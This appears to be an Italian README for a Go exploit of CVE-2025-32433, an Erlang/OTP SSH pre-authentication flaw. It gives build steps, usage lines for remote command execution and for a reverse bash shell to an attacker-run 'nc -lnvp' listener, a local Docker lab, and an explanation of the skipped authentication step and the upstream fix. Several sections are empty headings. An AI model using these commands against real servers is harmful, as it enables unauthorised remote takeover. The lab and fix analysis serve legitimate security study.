
Exploit basato su Go per CVE-2025-32433
Exploit basato su Go per CVE-2025-32433 che restituisce una shell bash remota.
Fortemente ispirato alla comprensione dell'exploit derivato dal PoC di ProDefense per CVE-2025-32433.
make
exploit.exeè reso disponibile anche per macchine Windows tramite il Makefile di cross-compilazione.
Quindi esegui il binario dell'exploit in uno dei 2 modi:
Comando
./exploit <target-ip> <target-port> "<command>"
NOTA: non restituisce l'output del comando
Reverse Shell
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
Utilizzando il Dockerfile di ProDefense, puoi configurare un ambiente nel modo seguente:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Puoi quindi eseguire l'exploit come descritto nella sezione Esecuzione dell'exploit, ad esempio:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1è l'IP predefinito per l'host Docker
TL;DR "Il problema è causato da un difetto nella gestione dei messaggi del protocollo SSH che consente a un attaccante di inviare messaggi del protocollo di connessione prima dell'autenticazione,"
Procedura SSH tipica:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Procedura dell'exploit:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pre-autenticazione)SSH_MSG_CHANNEL_REQUEST (Pre-autenticazione) --> contiene il payload del comandoSi noti che l'intera parte USERAUTH viene saltata nell'exploit.
RFC pertinenti per i messaggi SSH:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

Formato delle stringhe (da RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Padding

Quella che segue è la correzione introdotta nelle librerie Erlang OTP nel ssh: early RCE fix commit:

La correzione introduce una nuova clausola handle_msg che, in base ai suoi argomenti, intercetta:
Msg: variabile catch-all per qualsiasi messaggio SSH in arrivo non già intercettato da clausole precedenti (come #ssh_msg_disconnect{})#ssh{authenticated = false}: stato della sessione che corrisponde se la connessione non è stata ancora autenticata.La clausola non intercetta le sessioni con authenticated = true, che viene associato alla sessione quando il server riceve un #ssh_msg_userauth_success{}:

che viene inviato dopo il successo di uno qualsiasi dei seguenti metodi di autenticazione:
